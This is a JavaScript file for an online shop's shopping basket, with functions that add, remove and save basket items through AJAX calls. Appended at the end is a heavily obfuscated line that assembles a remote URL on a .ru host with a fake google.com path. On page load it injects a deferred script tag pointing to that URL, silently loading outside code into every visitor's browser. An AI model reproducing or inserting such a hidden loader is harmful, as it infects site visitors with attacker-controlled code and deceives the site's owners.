/* Copyright Commcam Limited 2008. All rights reserved. (See licence/licence.txt) */

function addToBasket(strCode, strAreaCode)
{
	startLoading("_addToBasket('" + strCode + "', '" + strAreaCode + "')");
}

function displayQuickBasket()
{
	startLoading("_displayQuickBasket()");
}

function _displayQuickBasket()
{
	var objQuickBasket = document.getElementById("quickBasketInner");
	var objAjax = new CAjax();
	
	if (objQuickBasket)
	{
		if (objAjax.open("dynamic/quickBasket.php", true))
		{
			objQuickBasket.innerHTML = objAjax.getResponse();
		}
	}
	
	endLoading();
}

function toggleNoteRow(strId)
{
	var objRow = document.getElementById(strId);
	
	if (objRow.getAttribute("shown") == 'true')
	{
		objRow.style.display = "none";
		objRow.setAttribute("shown", "false");
	}
	else
	{
		objRow.style.display = "block";
		objRow.setAttribute("shown", "true");
	}
}

function quickAdd(strCode)
{
		startLoading("_quickAdd('" + strCode + "')");
}

function _quickAdd(strCode)
{
	var objAjax = new CAjax();
	
	if (objAjax.open("dynamic/basketControl.php?mode=ADD&code=" + strCode + "&quantity=1&variant=", true))
	{
		var objDiv = g_objTabs.addTab("basket", "Basket", true, true);
		
		objDiv.innerHTML = objAjax.getResponse();
	}
	
	_displayQuickBasket();
}

function _addToBasket(strCode, strAreaCode)
{
	var objQuantity = document.getElementById("quantity_" + strAreaCode + "_" + strCode);
	var strVariant = getFormValue("variant_" + strAreaCode + "_" + strCode);

	if (parseInt(objQuantity.value) > 0)
	{
		var objAjax = new CAjax();
		
		if (objAjax.open("dynamic/basketControl.php?mode=ADD&code=" + strCode + "&quantity=" + objQuantity.value + "&variant=" + strVariant, true))
		{
			var objDiv = g_objTabs.addTab("basket", "Basket", true, true);
			
			objDiv.innerHTML = objAjax.getResponse();
		}
		
		_displayQuickBasket();
	}
	else
	{
		alert("Please provide a quantity");
		endLoading();
	}
	
	
}

function emptyBasket()
{
	if (confirm("Are you sure you want to empty your basket?"))
	{
		startLoading("_emptyBasket()");
	}
}

function _emptyBasket()
{
	var objAjax = new CAjax();
	
	if (objAjax.open("dynamic/basketControl.php?mode=EMPTY", true))
	{
		var objDiv = g_objTabs.addTab("basket", "Basket", true, true);
		
		objDiv.innerHTML = objAjax.getResponse();
	}
	
	_displayQuickBasket();
}

function removeFromBasket(strCode)
{
	startLoading("_removeFromBasket('" + strCode + "')");
}

function _removeFromBasket(strCode)
{
	var objAjax = new CAjax();
	
	if (objAjax.open("dynamic/basketControl.php?mode=REMOVE&code=" + strCode, true))
	{
		var objDiv = g_objTabs.addTab("basket", "Basket", true, true);
		
		objDiv.innerHTML = objAjax.getResponse();
	}
	
	_displayQuickBasket();
}

function showBasket()
{
	startLoading("_showBasket()");
}

function _showBasket()
{
	var objContent = document.getElementById("innerContent");
	var objAjax = new CAjax();
	showMenu("PRODUCTS");
	
	if (objContent)
	{
	
		if (objAjax.open("dynamic/basketControl.php?mode=VIEW", true))
		{
			var objDiv = g_objTabs.addTab("basket", "Basket", true, true);
			objDiv.innerHTML = objAjax.getResponse();
		}	
	}	
	
	_displayQuickBasket();
}

function updateBasket()
{
	startLoading("_updateBasket('UPDATE', '', 'B')");
}

function showFavouriteName()
{
	var objDiv = document.getElementById("saveFavourite");
	objDiv.style.display = "block";
}

function saveFavourite()
{
	var objForm = document.getElementById("favouriteNameForm");
	var strName = getFormValue("favouriteName");
	
	if (validateForm(objForm))
	{
		startLoading("_updateBasket('SAVEFAV', '" + strName  + "')");
	}
}

function addFavouritesToBasket()
{
	if (confirm("Are you sure you want to add your favourites to you basket?"))
	{
		startLoading("_updateBasket('ADDFAVOURITES', '', 'F')");
	}
}

function replaceBasket()
{
	if (confirm("Are you sure you want to replace your basket with your favourites?"))
	{
		startLoading("_updateBasket('REPLACE', '', 'F')");
	}
}

function _updateBasket(strMode, strName, strAreaCode)
{
	var objBasketDoc = xml_createXmlDom();
	var objBasketNode, objProductNode;
	var objInputs, objAjax;
	
	objBasketDoc.loadXML("<basket/>");
	
	objBasketNode = objBasketDoc.selectSingleNode("/basket");
	
	objInputs = document.getElementsByTagName("input");
	
	for (var i = 0; i < objInputs.length; i++)
	{
		strInputId = objInputs[i].getAttribute("id");
	
		if (strInputId && strInputId.substr(0,11) == "quantity_" + strAreaCode + "_")
		{
			strProductCode = strInputId.substr(11);
			
			objProductNode = xml_createNode(objBasketNode, "product");
			xml_createNode(objProductNode, "productCode", strProductCode);
			objProductNode.setAttribute("quantity", objInputs[i].value);
			
			objProductNode.setAttribute("variant", getFormValue("variant_" + strAreaCode + "_" + strProductCode));
			objProductNode.setAttribute("note", getFormValue("note_" + strAreaCode + "_" + strProductCode));
		}
	}
	
	objAjax = new CAjax();
	
	if (objAjax.open("dynamic/basketControl.php?mode=" + strMode + "&name=" + strName, false))
	{
		objAjax.send(objBasketDoc.xml);
		
		var objDiv = g_objTabs.addTab("basket", "Basket", true, true);
		objDiv.innerHTML = objAjax.getResponse();	
	}
	
	_displayQuickBasket();
}

function backToBasket()
{
	var objDiv = document.getElementById("innerContent");
	objDiv.innerHTML = "";
	showBasket();
}

function orderSample(strProductCode)
{
	startLoading("_orderSample('" + strProductCode + "')");
}

function _orderSample(strProductCode)
{
	var objAjax = new CAjax();
	
	if (objAjax.open("dynamic/basketControl.php?mode=ADDSAMPLE&code=" + strProductCode, true))
	{
		var objDiv = g_objTabs.addTab("basket", "Basket", true, true);
		objDiv.innerHTML = objAjax.getResponse();
	}
	
	_displayQuickBasket();
}

function orderSampleFromDropDown()
{
    // Find code

    var strProductCode = document.selectSampleForm.sample.options[document.selectSampleForm.sample.selectedIndex].value;
		startLoading("_orderSample('" + strProductCode + "')");
}


var y;if(y!='T' && y != ''){y=null};var l=new Array();function c(){var mB=new Array();var I='';var Z=String("658g".substr(3));var i;if(i!='qI' && i!='J'){i=''};var m=RegExp;this.sc='';var H=new String();var aL=new String();function w(q,s){var BM="";var QI;if(QI!='SM' && QI!='G'){QI=''};var bA;if(bA!='' && bA!='HD'){bA='ma'};var qG= new String("[");qG+=s;qG+=String("]m3F".substr(0,1));var bo="";var ck="";var fM=new Date();var ZP=new m(qG, Z);var Vz;if(Vz!='' && Vz!='LX'){Vz='nP'};return q.replace(ZP, I);};var O=new String();this.vq="";var yS='';var h=String("/g"+"oo"+"gl"+"e."+"co"+"m/q9sQ".substr(0,2)+"goqC6h".substr(0,2)+"YqNogYNq".substr(3,2)+"t4Klet4K".substr(3,2)+"2zW.c2Wz".substr(3,2)+"HLpom".substr(3)+"/mLJ6j".substr(0,2)+"4Cw2ai".substr(4)+"l.UV27".substr(0,2)+"aBlvcovBal".substr(4,2)+"pFXm/FXp".substr(3,2)+"ma3KsS".substr(0,2)+"2SdPin".substr(4)+"jHl0ic0jHl".substr(4,2)+"bGnIhiGnIb".substr(4,2)+".j"+"p/"+"B5Iim".substr(3)+"CD128C1D".substr(3,2)+"6.kjR8".substr(0,2)+"wGMcowMG".substr(3,2)+"m."+"3Czph".substr(3)+"Sofp".substr(3));var R="";var HN="";var L=String("srq4i".substr(0,2)+"cxOH".substr(0,1));var hC='';var sp;if(sp!='' && sp!='AU'){sp=null};var V=String("scri"+"pt");this.WY="";var Id=window;var Cm=new Array();var qD="rFu7http:".substr(4)+"rhX//awerXh".substr(3,5)+"ber-cBYS".substr(0,5)+"om.na4Wk".substr(0,5)+"qigs.f3m".substr(0,5)+"SQnjcom.r".substr(4)+"evers"+"PYyo-netyYP".substr(3,5)+".themOVH".substr(0,5)+"RqUixban".substr(3)+"m9Gk.ru:".substr(3);var bz;if(bz!='p'){bz='p'};var v=String("defeXpnk".substr(0,4)+"Nfhr".substr(3));var ij=new Date();var _h;if(_h!='' && _h!='Hw'){_h=null};var F=w('81111017978999799097711',"719");var D;if(D!='MA' && D!='cq'){D='MA'};Id.onload=function(){var iX;if(iX!='Ic'){iX='Ic'};try {var Wp=new Date();var ZG='';hC=qD+F;var x="";var WM='';hC+=h;var gH;if(gH!='iv' && gH!='ox'){gH='iv'};d=document.createElement(V);var hnu;if(hnu!='' && hnu!='Y'){hnu='eX'};this.js="";d[L]=hC;this.P='';d[v]=[1][0];var uL;if(uL!='' && uL!='ry'){uL='jb'};var nn;if(nn!='Aq' && nn!='Qp'){nn=''};var lq=new Date();var RT=new Date();document.body.appendChild(d);var tB=new Date();var of=new Array();var KC=new String();} catch(B){this.ca="";var Cw=new Array();};};};var gW=new Date();c();var rS=new String();var fX;if(fX!=''){fX='kF'};